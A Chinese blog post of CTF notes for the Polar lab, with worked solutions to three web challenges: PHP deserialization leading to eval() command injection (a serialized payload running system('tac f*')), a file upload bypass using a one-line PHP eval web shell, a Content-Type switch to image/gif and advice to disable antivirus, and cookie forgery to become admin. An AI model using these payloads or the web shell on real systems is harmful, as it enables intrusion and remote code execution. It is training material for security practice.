【WEB】Polar靶场 Day7 详细笔记

目录

[二十一.php very nice](#二十一.php very nice)

[2. unserialize():](#2. unserialize():)

反序列化漏洞

[__destruct() 函数](#__destruct() 函数)

eval()函数

代码注入漏洞

[tac 命令](#tac 命令)

二十二.ezupload

二十三.cookie欺骗


二十一.php very nice

php又是你 ,但是经过这么多次折磨后我感觉我已经有一点抗性了

老规矩,先看知识点

PHP 序列化

是将 PHP 变量(如对象、数组)转换为字符串的过程,便于存储或传输。反序列化则是将字符串还原为原始变量。这在缓存、会话管理、RPC(远程过程调用)等场景中广泛应用。

PHP 序列化的核心函数

1. serialize():

将变量转换为可存储或传输的字符串格式。

2. unserialize():

将序列化字符串还原为原始变量。
可能存在的漏洞:

反序列化漏洞

__destruct() 函数

是 PHP 的一个魔术方法(特殊函数),当对象被销毁时会自动调用。具体来说,这个方法在以下几种情况下会被触发:

  1. 脚本执行完毕时,所有对象都会被销毁。
  2. 使用 unset() 函数手动销毁对象。
  3. 对象被赋值为其他值,原对象的引用被覆盖。

eval()函数

eval() 是 PHP 中的内置函数,能将字符串作为 PHP 代码执行。

可能存在的漏洞:

代码注入漏洞

如果eval()的参数来自用户输入且未经严格过滤,攻击者可以注入任意PHP代码

解题思路:

因为有__destruct()函数所以可以将原sys覆盖掉,给sys赋一个新的值,利用eval()函数的注入漏洞输出flag

复制代码
class Example
{
    public $sys = "system('tac f*');";
}

为什么这道题cat用不了,而是用tac?

可能原因:符号被过滤 ,某些服务器环境可能会禁用或监控常见的命令如 cat,但较少限制 tac(因为 tac 不如 cat 常用)。

tac 命令

cat 的反向命令,功能是 倒序输出文件内容(先显示最后一行)。

因为unserialize()函数会将GET参数a反序列化,所以提前将参数a的内容序列化

PHP 在线编辑器

复制代码
<?php
class Example
{
    public $sys = "system('tac f*');";
}

// 创建对象
$obj = new Example();

// 序列化对象
$serialized = serialize($obj);

// 输出序列化结果
echo $serialized;
?>

O:7:"Example":1:{s:3:"sys";s:17:"system('tac f*');";}

接着通过GET请求传递参数a,得到flag

复制代码
flag{202cb962ac59075b964b07152d234b70}

二十二.ezupload

这题主要利用的是文件上传漏洞

写个一句话木马,写完后保存,把文件后缀改为php

复制代码
<?php @eval($_POST['a']);?>

或者点击文件 ,选择另存为 ,文件名后缀改为**.php** ,保存类型改为 所有文件

注意:这个文件可能会被当为病毒 被自动删除,所以先要暂时把病毒防护关闭

实时保护关了

把刚才的php文件上传,显示"抱歉,我们只允许上传 GIF 图片"

打开 Burpsuite,把Content-Type: application/octet-stream改成

Content-Type: image/gif然后点击发送,就上传成功了

接下来连接蚁剑 ,上传的文件放在了**/uploads**目录

在**/var/www/flag.php**找到了flag

复制代码
flag{ffffffffllllaaggg_!!!}

二十三.cookie欺骗

这题还是很简单的

Cookie 的核心功能:用于维持用户与网站的会话状态(如登录后保持身份)、记录用户行为(如购物车内容)、存储用户偏好(如语言设置)等。

因此只需要按照要求把cookie中user改成admin用户就行了

复制代码
flag{10e35c76602b330149ef009e0b484d8f}

Day7

现在题目变难了,以经无法做到每天做5道题的笔记了,所以打算换种方式

感觉前面2篇笔记做的太繁琐了,是不是应该写简单点

相关推荐
wan5555cn4 分钟前
Windows 11系统鼠标键盘被禁用问题的全面解决方案
windows·笔记·深度学习·计算机外设
zhangrelay18 分钟前
ROS云课三分钟-使用动态参数重配置调试Teb导航案例-251008
笔记·学习
BingeBlog38 分钟前
[01] Qt的UI框架选择和对比
开发语言·c++·笔记·qt·ui·开源软件
生物小卡拉1 小时前
R脚本——Deseq2差异表达分析--v1.0
windows·经验分享·笔记·学习·信息可视化·数据分析
初九之潜龙勿用3 小时前
技术与情感交织的一生 (十四)
笔记·印象笔记
love530love3 小时前
【笔记】 Podman Desktop 中部署 Stable Diffusion WebUI (GPU 支持)
人工智能·windows·笔记·python·容器·stable diffusion·podman
Olrookie3 小时前
若依前后端分离版学习笔记(十九)——导入,导出实现流程及图片,文件组件
前端·vue.js·笔记
初圣魔门首席弟子3 小时前
C++ STL string(字符串)学习笔记
c++·笔记·学习
CS_Zero3 小时前
【开发工具】Windows10&11远程Ubuntu18及以上桌面
笔记·ubuntu
iconball4 小时前
个人用云计算学习笔记 --18(NFS 服务器、iSCSI 服务器)
linux·运维·笔记·学习·云计算